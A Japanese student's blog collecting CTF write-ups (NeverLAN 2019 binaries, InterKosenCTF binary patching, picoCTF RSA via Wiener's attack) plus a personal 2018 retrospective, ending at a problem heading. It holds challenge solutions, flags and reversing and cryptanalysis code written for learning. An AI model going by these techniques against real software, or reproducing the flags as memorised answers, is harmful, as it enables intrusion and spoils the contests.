未経験からプロになる!!

将来の初心者の方のために,僕がプロになるまでの過程をここに残しておこうと思います.

NeverLAN CTF 2019 参加記録

01/31~02/03にかけて行われたNeverLAN CTF 2019に参加しました!久しぶりにフルで参加できるぞ~,と張り切っていましたが用事が発生してしまいあまりできませんでした…( ノД`)シクシク…
f:id:verliezer93764:20190204232014p:plain
Binary問がちょっと普段と違う雰囲気の問題で面白かったです.

Binary 1

データが暗号化されてしまったようなので元に戻してくださいという問題.users_dbというテキストファイルが渡されます.
f:id:verliezer93764:20190204232424p:plain
16進の数字が並んでいますが,奇数番目が4~7の範囲なので,英字か数字のASCIIコードが並んでるだけみたいですね.
2文字ずつ分けてASCIIコードに対応する文字に直してみます.同時に,改行を取り除きます.

def main():
    in_f = open("users_db.txt", 'r')
    out_f = open("users_db_dec.txt", 'w')
    str_lines = in_f.readlines()

    for str_line in str_lines:
        i = 0
        while True:
            if(i * 2 + 2 > len(str_line)):
                break
            s = str_line[i*2] + str_line[i*2 + 1]
            out_f.write(chr(int(s, 16)))
            i += 1

if __name__=="__main__":
    main()

ASCIIコードに対応する文字に直した結果...
f:id:verliezer93764:20190204233127p:plain
語尾が=になっており,base64エンコードされた文字列っぽいですね.これをbase64デコードすると,jsonっぽいデータがでてきます.この中にフラグがあります.
f:id:verliezer93764:20190204233509p:plain
flag{ENC0D1NG_D4TA_1S_N0T_ENCRY7I0N}
まあそうですね...

Binary 2

ログイン認証プログラムを作った人が辞めたのでログイン方法がわからないので調べてくださいという問題.渡されるプログラムEmployee_Payroll.exeは.NETアセンブリで,実行するとユーザーネームとパスワードが要求されます.IDA Free版では解析できず,Ollydbgにも慣れていないので,とりあえず平文ないかなあと思ってbintextに投げてみると,"admin"と"dGhpc19pc19ub3RfdGhlX2ZsYWdfeW91X3NlZWtfa2VlcF9sb29raW5n"という怪しい文字列がありました.
f:id:verliezer93764:20190204234421p:plain
さらに,dnSpyという優秀な.NETデコンパイラがあると聞いたので使用してみると...
f:id:verliezer93764:20190204234918p:plain
f:id:verliezer93764:20190204235123p:plain
これらを見ると,ユーザーネームを"admin"に,パスワードを"dGhpc19pc19ub3RfdGhlX2ZsYWdfeW91X3NlZWtfa2VlcF9sb29raW5n"として入力した場合は何か文字列の載っているメッセージウィンドウを表示する,そうでないと"Username or Password is incorrect, please try again"と表示し,3回目には"Too many login attempts"とメッセージウィンドウを表示することが予想できます.また,ログイン成功時に表示されると思われる文字列を調べると,先頭が"flag"でした.
f:id:verliezer93764:20190206133816p:plain
ユーザーネームをadminに,パスワードをdGhpc19pc19ub3RfdGhlX2ZsYWdfeW91X3NlZWtfa2VlcF9sb29raW5nとして入力した場合,フラグが出ました.dnSpy,すごいですね!
f:id:verliezer93764:20190206134017p:plain
flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}
あとはollydbgに慣れていかないといけないですね.

Binary 3

一見正常に動作しているログイン認証プログラムが,どこかおかしい?らしいです.ELFファイルが渡されます.
ltraceしてみると普通にstrcmpで判定しているようです.
f:id:verliezer93764:20190206140433p:plain
usernameに"admin",passwordに"a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc="を指定したら"ログイン"できました.
f:id:verliezer93764:20190206140718p:plain
しかし,それ以外に特に何も起きず,たしかにログイン部分だけは正常に動いてそう...
なので,もしかすると他に実行されるべき関数があるかもしれないと思い、IDAFree版で調べてみることにしました.
すると,"www.gr3yR0n1n.com"や"GET %s HTTP/1.0"のHTTP通信機能を思わせるような文字列や,いくつかの独自のサブルーチン群がありました.このうち,サブルーチン'd'には,socket,gethostbyname,htons,connect,write,closeなど一連の通信を行うと思われる部分がありました.これを実行させてみることにします.
f:id:verliezer93764:20190206143127p:plain
"you are now logged in..."のところがログイン成功部分なので,おそらくint main(){ ... return 0; }の return 0;を示すであろうmov eax,0の部分付近をサブルーチンdのcallや諸命令に書き換えようかなと思いましたが,アドレスがわからなかったので,GDBでそこまで進んだ後ripを書き換えてサブルーチンdに移動することにしました.

root@kali:~/Desktop/CTF/NeverLANCTF2019# gdb -q ./get_flag
Reading symbols from ./get_flag...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x24c0
gdb-peda$ run
Starting program: /root/Desktop/CTF/NeverLANCTF2019/get_flag 































[----------------------------------registers-----------------------------------]
RAX: 0x5555555564bc (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x7ffff7f8e718 --> 0x7ffff7f8fd80 --> 0x0 
RDX: 0x7fffffffe108 --> 0x7fffffffe443 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
RDI: 0x1 
RBP: 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
RIP: 0x5555555564c0 (<main+4>:	sub    rsp,0x20)
R8 : 0x7ffff7f8fd80 --> 0x0 
R9 : 0x7ffff7f8fd80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554cc0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe0f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555564bb <d+533>:	ret    
   0x5555555564bc <main>:	push   rbp
   0x5555555564bd <main+1>:	mov    rbp,rsp
=> 0x5555555564c0 <main+4>:	sub    rsp,0x20
   0x5555555564c4 <main+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x5555555564c7 <main+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x5555555564cb <main+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x5555555564d2 <main+22>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffe018 --> 0x7ffff7df709b (<__libc_start_main+235>:	mov    edi,eax)
0016| 0x7fffffffe020 --> 0x0 
0024| 0x7fffffffe028 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
0032| 0x7fffffffe030 --> 0x100040000 
0040| 0x7fffffffe038 --> 0x5555555564bc (<main>:	push   rbp)
0048| 0x7fffffffe040 --> 0x0 
0056| 0x7fffffffe048 --> 0xd24ee335a7a47c25 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555555564c0 in main ()
gdb-peda$ disass main
Dump of assembler code for function main:
   0x00005555555564bc <+0>:	push   rbp
   0x00005555555564bd <+1>:	mov    rbp,rsp
=> 0x00005555555564c0 <+4>:	sub    rsp,0x20
   0x00005555555564c4 <+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x00005555555564c7 <+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x00005555555564cb <+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x00005555555564d2 <+22>:	mov    eax,0x0
   0x00005555555564d7 <+27>:	call   0x555555554eb7 <c>
   0x00005555555564dc <+32>:	mov    eax,0x0
   0x00005555555564e1 <+37>:	call   0x555555554dca <u>
   0x00005555555564e6 <+42>:	mov    DWORD PTR [rbp-0x4],eax
   0x00005555555564e9 <+45>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x00005555555564ed <+49>:	jne    0x555555556502 <main+70>
   0x00005555555564ef <+51>:	lea    rdi,[rip+0x149]        # 0x55555555663f
   0x00005555555564f6 <+58>:	call   0x555555554b90 <puts@plt>
   0x00005555555564fb <+63>:	mov    eax,0x0
   0x0000555555556500 <+68>:	jmp    0x555555556539 <main+125>
   0x0000555555556502 <+70>:	mov    eax,0x0
   0x0000555555556507 <+75>:	call   0x555555554e42 <b>
   0x000055555555650c <+80>:	mov    DWORD PTR [rbp-0x4],eax
   0x000055555555650f <+83>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x0000555555556513 <+87>:	jne    0x555555556528 <main+108>
   0x0000555555556515 <+89>:	lea    rdi,[rip+0x137]        # 0x555555556653
   0x000055555555651c <+96>:	call   0x555555554b90 <puts@plt>
   0x0000555555556521 <+101>:	mov    eax,0x0
   0x0000555555556526 <+106>:	jmp    0x555555556539 <main+125>
   0x0000555555556528 <+108>:	lea    rdi,[rip+0x138]        # 0x555555556667
   0x000055555555652f <+115>:	call   0x555555554b90 <puts@plt>
   0x0000555555556534 <+120>:	mov    eax,0x0
   0x0000555555556539 <+125>:	leave  
   0x000055555555653a <+126>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000555555556534
Breakpoint 2 at 0x555555556534
gdb-peda$ c
Continuing.
username: admin
password: a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc=
you are now logged in...

[----------------------------------registers-----------------------------------]
RAX: 0x19 
RBX: 0x0 
RCX: 0x7ffff7ebd874 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7f908c0 --> 0x0 
RSI: 0x555555758260 ("you are now logged in...\n")
RDI: 0x0 
RBP: 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdff0 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
RIP: 0x555555556534 (<main+120>:	mov    eax,0x0)
R8 : 0x7ffff7f95500 (0x00007ffff7f95500)
R9 : 0x7ffff7f908c0 --> 0x0 
R10: 0x7ffff7ff06a0 (<strcmp+2864>:	pxor   xmm0,xmm0)
R11: 0x246 
R12: 0x555555554cc0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe0f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555556526 <main+106>:	jmp    0x555555556539 <main+125>
   0x555555556528 <main+108>:	lea    rdi,[rip+0x138]        # 0x555555556667
   0x55555555652f <main+115>:	call   0x555555554b90 <puts@plt>
=> 0x555555556534 <main+120>:	mov    eax,0x0
   0x555555556539 <main+125>:	leave  
   0x55555555653a <main+126>:	ret    
   0x55555555653b:	nop    DWORD PTR [rax+rax*1+0x0]
   0x555555556540 <__libc_csu_init>:	push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdff0 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
0008| 0x7fffffffdff8 --> 0x155554cc0 
0016| 0x7fffffffe000 --> 0x7fffffffe0f0 --> 0x1 
0024| 0x7fffffffe008 --> 0x100000000 
0032| 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
0040| 0x7fffffffe018 --> 0x7ffff7df709b (<__libc_start_main+235>:	mov    edi,eax)
0048| 0x7fffffffe020 --> 0x0 
0056| 0x7fffffffe028 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555556534 in main ()
gdb-peda$ p d
$1 = {<text variable, no debug info>} 0x5555555562a6 <d>
gdb-peda$ set $rip=0x5555555562a6
gdb-peda$ c
Continuing.
GET /81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b HTTP/1.0


Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7dcbec8 --> 0x7 
RBX: 0x7fffffffb408 --> 0x7fffffffb688 ("libnss_files.so.2")
RCX: 0x0 
RDX: 0x0 
RSI: 0x55555575c890 --> 0x7ffff7ffe450 --> 0x7ffff7f94520 --> 0x7ffff7ffe190 --> 0x555555554000 --> 0x10102464c457f 
RDI: 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
RBP: 0x7fffffffb228 --> 0x7fffffffb2b8 --> 0x80000002 
RSP: 0x7fffffffb128 --> 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
RIP: 0x7ffff7fe0988 (<_dl_relocate_object+280>:	)
R8 : 0x7ffff7dbf0e8 --> 0x5f6e6f6d675f5f00 ('')
R9 : 0x0 
R10: 0x555555758010 --> 0x1000000000000 
R11: 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
R12: 0x0 
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7fe0977 <_dl_relocate_object+263>:	nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7fe0980 <_dl_relocate_object+272>:	mov    rax,QWORD PTR [r11+0x78]
   0x7ffff7fe0984 <_dl_relocate_object+276>:	pxor   xmm0,xmm0
=> 0x7ffff7fe0988 <_dl_relocate_object+280>:	
    movaps XMMWORD PTR [rbp-0x70],xmm0
   0x7ffff7fe098c <_dl_relocate_object+284>:	
    movaps XMMWORD PTR [rbp-0x60],xmm0
   0x7ffff7fe0990 <_dl_relocate_object+288>:	
    movaps XMMWORD PTR [rbp-0x50],xmm0
   0x7ffff7fe0994 <_dl_relocate_object+292>:	
    movaps XMMWORD PTR [rbp-0x40],xmm0
   0x7ffff7fe0998 <_dl_relocate_object+296>:	test   rax,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb128 --> 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
0008| 0x7fffffffb130 --> 0x7ffff7e586da (<__libc_calloc+762>:	mov    r8,rax)
0016| 0x7fffffffb138 --> 0x8 
0024| 0x7fffffffb140 --> 0x0 
0032| 0x7fffffffb148 --> 0x7ffff7dbfbd8 --> 0x3000009691a75 
0040| 0x7fffffffb150 --> 0x7ffff7debf1c --> 0x1000200000001 
0048| 0x7fffffffb158 --> 0x7 
0056| 0x7fffffffb160 --> 0xf7fe5a40 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7fe0988 in _dl_relocate_object (scope=0x55555575c890, 
    reloc_mode=reloc_mode@entry=0x0, 
    consider_profiling=consider_profiling@entry=0x0) at dl-reloc.c:258
258	dl-reloc.c: そのようなファイルやディレクトリはありません.
gdb-peda$ 

GET
/81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b HTTP/1.0
という,HTTPのリクエストヘッダが出てきました.これを先ほどの"www.gr3yR0n1n.com"にくっつけてパス指定のURLとし,アクセスしてみます.
f:id:verliezer93764:20190206153132p:plain
本当はこういう怪しい通信プログラムを調べるのはFakenetなどを通してやってみるべきなんでしょうけどね.
flag{AP1S_SH0ULD_4LWAYS_B3_PR0T3CTED}

flag generatorの人力デコンパイルができなかったので

InterKosenCTFに参加しました.

冒頭になりますが


 

 

 

 

こんなに悔しいと思ったことはなかった
 

 

 

 

こんなに無力さを感じたのは久しぶりだった

 

 

 

 

 

 

 

...まあそれはいいとして,flag generatorをたぶんちょっと変わったやり方でやった(やっちまった)のではないかと思ったので載せておきます.

はじめに,flag generatorはおそらくこんな感じのプログラムだと思います.

#include <stdio.h>
#include <time.h>

int s;

void r()
{
    int tmp = s;
    tmp *= 0x41C64E6D;
    tmp += 0x3039;
    tmp = tmp & 0x7FFFFFFF;

    s = tmp;
};

int main()
{
    //from var_30 to var_c
    int constant1[10] = {
        0x608F5935,
        0x57506491,
        0x27365557,
        0x54E3DEA1,
        0x755A4ED5,
        0x17F42EB7,
        0x4A4F9059,
        0x1A08E827,
        0xD9D391F,
        0x59E533AA,
    };

    // var_38
    int constant2 = 0x25DC167E;
    //var_34
    int loopend = 0xA;
    //var_40
    int counter = 0;
    //var_3c
    int flag = 0;
    //var_44
    int calc_t = 0;

    int t;

    while (1)
    {
        if (flag == 0)
        {
            t = time(NULL);
            s = t;
        }

        r();

        calc_t = s;

        //t = 1509961785でフラグが立ちます
        if (calc_t == constant2)
        {
            flag = 1;
        }

        if (flag != 0)
        {
            calc_t = calc_t ^ constant1[counter];
            
            printf("%.4s", (char*)(&calc_t));
            
            counter += 1;
            if (counter == loopend)
            {
                break;
            }
        }
        sleep(1);
    }

    return 0;
}

要は,フラグが立っていればまずUNIXタイムを取得して,そのUNIXタイムに対しr()関数で計算をして,その結果が0x25dc167eと等しければフラグを立て,フラグが立っていれば定数配列のループカウンタ番目の数値と先ほどのr()の計算結果をxorして表示してからループカウンタをインクリメント,最後にフラグにかかわらず1秒間スリープします.以上の無限ループです.

当然時間的に待ってられないので,時間の部分をwhileループごとのインクリメントに変えます.

#include <stdio.h>
#include <time.h>

int s;

void r()
{
    int tmp = s;
    tmp *= 0x41C64E6D;
    tmp += 0x3039;
    tmp = tmp & 0x7FFFFFFF;

    s = tmp;
};

int main()
{
    //from var_30 to var_c
    int constant1[10] = {
        0x608F5935,
        0x57506491,
        0x27365557,
        0x54E3DEA1,
        0x755A4ED5,
        0x17F42EB7,
        0x4A4F9059,
        0x1A08E827,
        0xD9D391F,
        0x59E533AA,
    };

    // var_38
    int constant2 = 0x25DC167E;
    //var_34
    int loopend = 0xA;
    //var_40
    int counter = 0;
    //var_3c
    int flag = 0;
    //var_44
    int calc_t = 0;

    int t = 1509961780;

    while (1)
    {
        if (flag == 0)
        {
            s = t;
        }

        r();

        calc_t = s;

        //t = 1509961785でフラグが立ちます
        if (calc_t == constant2)
        {
            flag = 1;
        }

        if (flag != 0)
        {
            calc_t = calc_t ^ constant1[counter];
            
            printf("%.4s", (char*)(&calc_t));
            
            counter += 1;
            if (counter == loopend)
            {
                break;
            }
        }
        t += 1;
    }

    return 0;
}

これでキレイにフラグが出ます.
f:id:verliezer93764:20190121002209p:plain

しかし,このプログラムは実はctf終了後に書いたもので,競技中には実行ファイルはなぜか消えるわフラグは出ないわで,結局人力デコンパイルは諦めてしました.

このままでは埒が明かないのでELFを改造してみることを思い立ち以下のことを行いました.

1."call _time"を"mov eax, 0x5a003039"にする

これで無限ループ中の1回目のループでフラグ変数が立ち,1秒ごとにフラグの一部が表示されるようになります.なお,フラグ変数が立つとこの部分は実行されないのでプログラムにこの変更による悪影響はありません.
movの機械語もわからなくて困ってましたが,のちの"mov eax, 0"の機械語が"b8 00 00 00 00"で表されていることを参考に該当部分をIDAで探し,バイナリエディタ上でアドレスが0x00001205から5バイトを"e8 46 fe ff ff"から"b8 39 30 00 5a"に変更しました.

変更前が次の図
f:id:verliezer93764:20190121003209p:plain
変更後が次の図
f:id:verliezer93764:20190121003435p:plain

2."call _sleep"をNOPで埋める

これはオプションで,ただ数秒すら待たないようになるだけです.
該当部分をIDAで探し,バイナリエディタ上でアドレスが0x0000126cから5バイトを"e8 ef fd ff ff"から"90 90 90 90 90"に変更しました.

変更前が次の図
f:id:verliezer93764:20190121003653p:plain
変更後が次の図
f:id:verliezer93764:20190121003748p:plain

これらを行った結果,フラグは一部おかしいですが表示されました.最後の?が消えていたので,何度もKOSENCTF{IS_THIS_REALLY_A_REVERSING}で提出してWrongって言われて「は?!?!?!?」ってなりました()
f:id:verliezer93764:20190121005827p:plain

実は'?'の後に'\b'があるらしく,それで'?'が消えていたとのことですが,「さては(何らかの理由で)'?'が必要なのでは」と思って何とかcorrectになりました.でも何で上記のプログラムではうまくいったんでしょうかね....

2018年の振り返りと2019年へ向けて

こんにちは.早いものでもう2019年も終わりですね.(実験よお前のせいだ)

ということで今年1年を振り返っていこうかなと思います.

1月

CTFをやりはじめてから1ヶ月.この月はテストがあり虚無だった気がする.テスト終わりと同時にメモリ16GB,SSD1TBを満たす自分専用のノートPCを買う大きな出費をしたが,これはとても良かったと思う.macの操作が教養になってる感が否めないので,この前出たMacbookAirを買うかどうか迷ってる.

2月

この月からProgateで色んな言語を学んでいたが,正直無駄が多かった.とりあえずPython3だけでよかったかなぁ.そして,「サイバーセキュリティプログラミング」の勉強方法がわからず時間を浪費した感じがする.はじめてオンラインCTFに参加してあまりの楽しさにはまる.

 

3月

 x86の勉強を始める.この月の特に前半がたぶん今年で二番目に充実してたと思う.策謀本を読むもあまりすすまなかったので,来年春にでもまた挑戦したい.(内容が少し古いという声も考慮が必要?)2回目のオンラインCTFではじめてpwn問を解けてうれしかったなあ.応用情報技術者試験は春休みにたっぷりできるだろうと思っていたが,x86の勉強やCTFが楽しくてまったく進まなかった.来年春はSCを受けるが,正直いって参考書を読むのがつらいので,過去問演習を重視するつもりです.

4月

さすがにAPの勉強したほうがいいのではと春学期が始まっているのに 「応用情報技術者試験,半月あれば受かる説」という謎の説を検証して無事受験料をどぶに流す.

 (割と惜しかったけど)

f:id:verliezer93764:20181228183904p:plain

セキュリティキャンプ2018全国の募集が解禁.「へぇ~来年応募できればいいなあ~」と思っていたものの先輩の奨めにより応募.たしかに応募課題は難しかったが,完全に手も足も出ないことはなく,知らないことを少しずつ着実に調べて課題の作業に徹していたこの時期が今年一番充実していたと思う.

5月

応募課題をひたすらやっていた.アセンブリ言語を読む問題と自分が今までやったことを述べる課題,脆弱性を選んで調べる問題にひたすら苦しんでいたが,なんとか締め切り直前に完成.もう一度言うがこの時期が今年一番充実していたと思う.

verliezer93764.hatenablog.jp

 もう一度晒すのは恥ずかしいがたぶんこの記事を見ている方は既に見てると思うので…

6月

何らかのバグで合格してしまう.僕なんかよりもっと未来ある小中高校生がたくさんいるはずなのでぜひ応募してみてほしいと思います.

 その後は事前課題と学校をなんとか両立させようと頑張る.けっこう厳しかった.

7月

テストが邪魔で,事前課題がかなりつらかった.

8月

セキュキャンに向けた勉強と当日,と復習だけ.ただ後半やや虚無気味だったのはいけなかった.

verliezer93764.hatenablog.jp

 この参加記録ですがけっこうこのブログへのアクセス数があることと,知識や心境が少しずつ変わりつつあることからちょっと修正を入れると思います.

もっと交流もてたりしたんじゃないかな,あの時は楽しかったな,とさみしさを再び感じます.

9月

SC試験の勉強をするが身がなかなか入らない.そして弊学弊学科名物の実験科目がスタート.実験が始まる前にpicoCTFを楽しくさせていただき,のちに復習するつもりであったが,実験が本格的に始まると多忙になってしまい結局いまのところできていない.これも春にやらなければね.

 

seccampつながりではじめてのインターン.緊張してかなりひどかったな…最後は楽しく終われたけど.同じインターンに参加してた人も優しかったなぁ…

 

10月

GPAが0.6しか下がらず安堵した.

また,どうせ受かんないだろうとSC試験は結局受けなかった.でも受けときゃよかったとめっちゃ後悔しています.

このころから鬱ツイが増える…

 

11月,12月

実験によって自分の時間がほぼ持てない.そのうちにまわりの人々が自由にしているのを見てとてもつらい時期だった.

いいねで~シリーズ挑戦三回目でやっといいねをもらい,FF内の方は自分のように邪悪な感情はなくて優しい,と心が温まった.来年はもっとかかわりをもっていければなあ.

12月3日にCTFを初めてから1年が経った.3月あたりから成長している気がしない...

12月23日にはSECCONの見学をしてきました.ブログに書くほどのことではなかったかなと思ったので,書きませんでした.

f:id:verliezer93764:20181229072626j:image

f:id:verliezer93764:20181229072720j:image

いやーもう,感動しましたよ.有名な方と展示等で会えましたし,なんといっても目の前で世界レベルの対戦が行われているので会場の雰囲気にゾクッときました.

2年後に国内決勝か国際決勝に行くことを誓いました.

 

来年やりたいこと・目標

来年はB3.特に基礎力強化,そして優しく接してくれる皆さんとの関わりに努めたいと思います.

 

SC試験合格(全日程通し80点以上)

 来年春に取りに行きます,絶対に!!

 

サイバーセキュリティトレンドの情報収集の習慣化

時事情報の収集が今のところ全然できていないので,1日に1時間くらい情報収集の時間を設けたい.

 

積み本の高速理解

Bundleで買った本などがめちゃめちゃ溜まっています.これらをどう高速に読み,かつ理解するか,考えなきゃいけない…

そして,電子書籍専用の端末を買いたい.どういうものがおすすめなのだろうか.

 

SECCON CTF 2019 予選100位以内

今年はほとんど手も足もでなかったが,Write-upを見てるとなんとか,なんとかできなくもなさそうなものがあったので来年はもっと解ければいいな…と思います.さすがにマルチアーキテクチャの問題は無理かなと思います.

 

FF内の方々と絡む

最近はTwitterでとても荒れていたり,実力的に期待外れなはずなのに優しいメッセージが来たり,とフォローしてくださった方々の優しさを身にしみて感じました.もっとリプしてみるなど絡んでいけたら邪悪な考えは収まるのかな,と思っています.

 

Micro Hardening等への参加

実践的な技術習得のために今年は色んな勉強会とか競技に参加してみたい.

 

github.ioの製作

はてブ以外の自分専用のページが欲しいので.でも凝ったページを作る技術がない上に,それを許容しても書けるほどの実績とか特にないのが問題..

 

色んなことの復習(春休み中)

微積分,群・環・体論など,学校で習ったことの復習.

 

機械学習の基礎(春休み中)

方法については先輩方からアドバイスをいただく予定.

 

あとこだどうしよう

競プロ,楽しいんですが今更感半端ないんですよね…どうしようか…

 

痩せる!!!!

でも,なにやったら皆さんみたいに細い体型を維持できるんですか…?

 

健全なツイートを心がける

積極的にミュート機能,ブロックを利用する,単語のミュートなど,メンタルを自衛する策を施して,来年は健全なTwitterライフを目指します...

 

無駄な時間をどう排除するか

ここに来年成長できるかのポイントが凝縮してると思います.ということで,ツイキャスというやつを日中やるか,勉強机を一定時間おきに撮影してタイムラプス動画をつくって公開するなどの策を検討中です.ただ音声や画像による個人情報漏れの対策を取らなければいけないのでちょっと厳しいかなという感じがします.

 

 

 

これらの目標については来年の状況によってだいぶ変わってくると思います.去年大晦日に言ったこともほぼ達成できてないですし. 

 

…実体験として,こうやって目標をたっくさん立てたりなんてしてると,そのうちほとんどが変わるか,達成できないんですよね.というわけで,とりあえずもっとも重視しているものを3つあげます.

  • SECCON CTF 2019 予選100位以内

  • SC試験合格(全日程通し80点以上)

  • 健全なツイートを心がける,メンタルの自衛

 

 

まとめ

とにかくさんざん色んな人々にメンタルをぶっこわされて,今度はお前にも絶望を教えてやるからなと思ったことが多かった一方,まだ自分の存在を認めて接してくれる優しい人々に心が温まることも多くそれらが交互に起きて,今も複雑な感情を抱いています.来年は束縛される時間が減るので若干ましになるかとは思いますが,僕も邪悪なことを考えないよう我慢しますので…仲良くしてくださる方は来年もよろしくお願いいたしますm(_ _)m.

picoCTF - Writeup(遅遅の遅)

つらい実験科目によってほとんどフリータイムがない中,picoCTFのWriteupを(今頃)書きました.内容は以下に示す3問のみです.
・Super Safe RSA 2
・A Simple Question
・rop chain

Super Safe RSA 2

公開鍵(e, n)と暗号文cが渡されますが,せいぜい65537程度の大きさであるeの値がべらぼうにでかいので,Wiener's Attackが使えます.いやぁ~,自分で一回実装しといてよかった,と思った一問でした(自分語り).
クソコードをのっけます.こいつは来年の春にでもきれいにできれば,と思っています.

import math

#--------PLEASE SET (e, n)--------
def set_values():
    e = 166469415374069307881604324436342677840204259559951383103458348696214353018185580067127805885715702582826742952855206035850607388392166614056495391290151746650424386583535774622709912504383483742572448337565274948581041550819383283860203664028306185265859707368577879926514232681259612579344391833668817270913
    n = 167818890560996465630467660522759422821311591428711487378116440524593140343836769125663052058639440088766593645612546346278130386295299544461168104275998718733123494540156011937404481135312366524773575109469754297864828333733123922028880567126525579171598321755189056067313592155802703541501512699223753527743
    return e, n
#--------------------------------------

def fix_den(m, num, den):
    return m * den + num, den

def convert_to_a_fraction(cf):
    index = len(cf) - 1
    num = cf[index - 1]
    
    num, den = fix_den(cf[index - 1], 1, cf[index])
    index -= 1
    
    while True:
        if index == 0:
            return num, den
        else:
            num, den = fix_den(cf[index - 1], den, num)
            index -= 1

'''
This function returns
{int(sqrt(num)) ---if num is a square number.
{-1 ---------------if num is not a square number.
'''
def calcSquare(num):

    if num<0:
        return -1

    maximumbase=1

    while maximumbase<=num:
        maximumbase*=10

    answer=0
    success_flag=False

    while maximumbase>=1:
        maximumbase//=2
        square=pow(answer, 2)

        if square==num:
            success_flag=True
            break
        elif square<num:
            answer+=maximumbase
        else:
            answer-=maximumbase
            
    if success_flag:
        return answer
    else:
        return -1



def is_square(num):

    a = 1
    exp = 0
    
    while a < num:
        a *= 4
        exp += 1
    
    answer = pow(2, exp)
    dist = answer // 2
    
    while True:
        
        num_2 = answer * answer
        
        if num_2 == num:
            return True, answer
        elif num_2 < num:
            answer += dist
        else:
            answer -= dist
        
        if dist==0:
            if num_2 > num:
                return False, answer
            else:
                return False, answer+1
        
        dist //= 2




def main():
    e, n = set_values();
    
    success_flag=False

    cf=[]
    k=e
    d=n
    cf.append(e//n)
    
    while True:
        tmp=d
        d=k%d
        k=tmp
        
        cf.append(k//d)
        
        num, den = convert_to_a_fraction(cf)

        if (e * den - 1)%num==0:
            
            phaiN=(e*den - 1)//num
            b=n-phaiN+1
            c=n
            
            #sqrt(b^2-4ac)
            rt2 = pow(b, 2) - 4 * c
            flag, rt = is_square(rt2)
            if rt2 > 0 and flag == True:
                
                #解p,qは整数か
                if b % 2 == rt % 2:
                    p=(b + rt) // 2
                    q=(b - rt) // 2
                    
                    print("p=")
                    print(p)
                    print("q=")
                    print(q)
                    success_flag = True
                    break

        if num == e and den == n:
            break

    if success_flag == False:
        print("failed...")

if __name__ == "__main__":
    main()

この結果,pとqは以下のように求まります.

p=
13187791611843376794443813417505164905719902975940204994951353780300053316986286058129548697178236289057253045681561721903633315886536681830716299905580769
q=
12725321683903898367448235894643841040653555869947621697905115020959136660923216347010267828363037006731940776069218036492902863509365802709092550777996447

これにより復号を行うと,平文mは16進数で,

7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f303532353436357d

となり,これをASCIIコードに直すと,
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_0525465}
となります.

A Simple Question (650pt)

